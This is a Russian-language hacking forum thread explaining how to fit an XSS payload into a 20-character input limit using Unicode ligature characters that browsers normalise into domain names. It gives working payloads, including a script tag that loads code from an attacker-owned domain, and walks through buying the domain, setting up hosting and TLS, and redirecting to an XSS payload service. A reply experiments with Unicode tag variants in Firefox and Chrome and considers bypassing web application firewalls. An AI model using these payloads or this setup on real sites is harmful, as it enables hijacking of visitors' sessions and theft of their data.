• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Хитрости Unicode и эксплуатация XSS при лимите ввода длиной в 20 символов

pablo

(L2) cache
Пользователь
Регистрация
01.02.2019
Сообщения
433
Реакции
1 524
Межсайтовый скриптинг (XSS) - одна из самых распространенных уязвимостей, которую можно обнаружить чуть ли не на любом сайте в сети интернет (на некоторых, вроде Google и Amazon, придется хорошо поискать - в этих компаниях работают много разработчиков с большим опытом за плечами). Однако, иногда возникают проблемы - например, проблема в количестве символов, которое мы можем ввести, для эксплуатации данной уязвимости. В этом посте мы рассмотрим, как можно решить такую проблему, уложившись, например, лишь в 20 символов.


Совместимость с юникодом

В Unicode одни и те же сложные буквы, вроде Й, Ё, Ç и т.д., можно представить в двух формах - в виде одной буквы или в виде одной базовой буквы (например, «C») и модификаторов. Такой подход был введен в стандарт для обеспечения совместимости с существующими ранее стандартными наборами символов. Таким образом, стандарт нормализации Unicode описывает два вида отношений между символами: Canonical и Compatibility.

Каноническая эквивалентность предполагает, что последовательность двух кодовых пунктов является полностью взаимозаменяемой. Т.е., комбинация из двух символов может быть канонически эквивалентна одному символу - n (маленькая латинская "n" - U+006E) + ◌̃ (тильда - U+0303) = ñ (маленькая латинская "ñ" - U + 00F1).

Совместимая эквивалентность предполагает, что две совместимые последовательности кодовых пунктов выглядят по-разному, но в некоторых ситуациях могут быть взаимозаменяемыми. Например, два латинских символа f, т.е. "ff" (U + 0066 U + 0066), имеют эквивалент одному символу "ff" (U+FB00), но не всегда. По сути, мы видим один и тот же текст, однако последовательность символов не является строго эквивалентной (до тех пор, пока мы не проведем нормализацию).

cdcda0d0c3fd999fea924.jpg


Проблема с лимитом ввода в 20 символов
Итак, мы нашли уязвимый сайт. Наш пейлоад выглядит так:
Код:
<svg/onload=alert``>
Это то, что мы смогли сделать, имея лимит в 20 символов - остальная часть, что бы мы не вводили, обрезается. Таким образом, мы имеем проблему, ведь "alert" - это не серьезно, мы же просто выведем пустое сообщение на экран. Подгрузка скрипта со своего домена (в обход CORS, конечно же) была бы идеальной и дала бы нам гораздо больше преимуществ для подготовки более сложной атаки.

Особенности Unicode в браузерах
Не для кого не секрет, что в современных браузерах нет никаких проблем с кодировками, как это было раньше. А это значит, что нам ничего не помешает реализовать нашу шалость.

Рассмотрим следующий пейлоад:
Код:
<script src=//ffff.pw>
Попробуйте скопировать символы, находящиеся между слезшем и точкой. Заметили? В примере выше, "ff" - это один символ, однако выглядит он как две латинских "f". В таком случае, браузер поведет себя так - он просто интерпретирует "ff" как два символа. Это дает нам огромное преимущество.

Вот ещё примеры символов, которые мы можем использовать:
  • ff экивалентен ff
  • ℠ экивалентен sm
  • ㏛ экивалентен sr
  • st экивалентен st
  • ㎭ экивалентен rad
  • ℡ экивалентен tel
Ещё не все! Больше таких символов можно найти тут.

Реализация
Давайте купим домен telsr.pw.

a5eae16b68c5439287ed7.png

Как видите, стоит он не дорого - всего 1.28$.

Если мы будем использовать в нашем пейлоаде только стандартные символы, получится, что мы превысим допустимый лимит в 20 символов.
abc9a10b0eb666cd00991.png


Заменим их на эквиваленты:

5ae7f61b660e2e657e5e7.png

Код:
<script src=//℡㏛.pw>
Кажется, мы добились поставленной задачи.
14b098b0464d545626dc7.png


Дальнейшие шаги
Выглядит отлично, но мы не учли одну деталь - если на уязвимом сайте будет использоваться HTTPS-протокол, то при импорте любого скрипта, он будет подружаться по этому же протоколу.

Я задумал реализовать DNS-редирект с telsr.pw на xsshunter.com.

И тут появляется ещё одна проблема - так как используется протокол HTTPS, если мы выполним перенаправление при помощи DNS на другой сайт, произойдет несоответствие сертификата, и файл Javascript не будет загружен.
3b625c131d7d138b80c87.png


Решается такая проблема следующим образом:
  1. Покупаем хостинг для нашего домена, я использую namecheap.com за 1.44$/месяц.
  2. Выпускаем для него HTTPS сертификат (бесплатно от Let's Encrypt)
  3. Загружаем простой HTML-файл c соответствующим мета тегом для редиректа, либо пишем PHP-скрипт, либо используем .htaccess. Тут уже дело вкуса. Объяснять, как это делается, я не буду - все гуглится одной строчкой, реализация аналогична.
4. Из - за того, что мы уже не используем DNS-редирект, XSS успешно эксплуатируется.

0f6820a544f416c38bf7c.png


6e41b6e4490b8b3fc27fc.png


Источник: https://t.me/cybred
 
Большое спасибо за материал! Очень интересная информация.

Решил, ради интереса, сделать следующий финт ушами. Создал обычный HTML5 документ и попытался спрятать script за Unicode следующим образом:

HTML:
<Ṡcript>alert(1)</Ṡcript>

И получил совершенно неожиданный для себя результат:

Screenshot 2024-03-26 091737.png

И черт его знает, что с этим теперь делать)))) Получается, открывающий тэг полностью проигнорирован. А вот вместо закрывающего, браузер выдал комментарий.
Screenshot 2024-03-26 093735.png


Сначала подумалось, что символ «Ṡ» браузер интерпретирует, как «!», а значит можно подобрать набор символов, которые полноценно заменят угловые скобки и тогда WAF пойдут лесом и почти каждый сайт в интернет будет подвержен жесткому XSS-изнасилованию... но нет, дальнейшие попытки исследования показали, что сочетание </+Unicode-символ браузер тупо в комментарий убирает. Как я это понял? Элементарно, взял табличку из статьи, удалил скриптами ненужные столбцы и сделал несколько вариантов вывода.

1711430054841.png


Выходит все? Тупик? Или есть смысл копать? Прошу хотя бы намекнуть)))) Вдруг не зря время убил.

Мало ли, вдруг кому потребуется мой говнокод, он под хайдом:

Скрытый контент для зарегистрированных пользователей.

Код:
Array.from(document.querySelectorAll('tr'))
.map(tr => Array.from(tr.querySelectorAll('td'))
.map((el, ind) => ind > 0 ? el.remove() : el))

Array.from(document.querySelectorAll('tt')).forEach(el => el.remove())
Array.from(document.querySelectorAll('br')).forEach(el => el.remove())

/* Безуспешная попытка заменить < символом*/
Array.from(document.querySelectorAll('td'))
.map(el => el.innerText + 'script>alert(1)' + el.innerText + '/script>').join('<br>\r\n')

/* Тест показавший, что все уходет в комменты*/
Array.from(document.querySelectorAll('td'))
.map(el => '</' + el.innerText).join('<br>\r\n')


P.S.
На концовочку попробовал поменять изначальное
HTML:
<Ṡcript>alert(1)</Ṡcript>
на
HTML:
<Ṡcript>alert(1)</script>
1711431353608.png

и
HTML:
<script>alert(1)</Ṡcript>
1711430982758.png


В первом случае, браузер просто отбросил закрывающий тег, что в целом ожидаемо. А вот во втором варианте, я не особо понял по какой такой причине, вышла коллизия с закрывающим тэгом. Почему-то браузер не только запихал закрывающий тэг за рамки html, но и прифигачил еще один закрывающий </body>. Это что получается? что можно убрать "под хайд" все, что идет после <script>?

P.P.S. Баловался в Firefox, пойду погляжу чего будет в Chrome... User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
 
Последнее редактирование:
Раз уж начал, допишу про Chrome.
В отношении <Ṡcript>alert(1)</Ṡcript> все пошло практически идентично. За исключением того, что в варианте с открывающим тэгом <script> Chrome выдал не только два закрывающих </body>, но и </html>. А попытка по другому вывести массово символы Unicode, в виде /⒨<br>, Chrome завернул все символы в <font style="vertical-align: inherit;"></font>. Причем, рандомным образом браузер сбивается, в какой-то момент просто собирая кучу символов в один большой <font style="vertical-align: inherit;"></font>, но и каждый внутри этого font тоже обернул в font. Более того, после большого блока, для каждого символа создал еще по блоку, но пустому. В общем, где-то подтраивает Google с такими финтами.

1711432396530.png


Ну и вот, что идет после "большого блока font":
1711432460916.png

Вообще, в целом, сложно понять, по какой логике Chrome оборачивал юникод в фонты. Где-то в блок фонт помещен весь текст с юникодом и слэшем, где-то внутри блока фонт создано по отдельному блоку фонт под слэш и юникод. Такое ощущение, что он руководствовался принципом "и так сойдет".
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх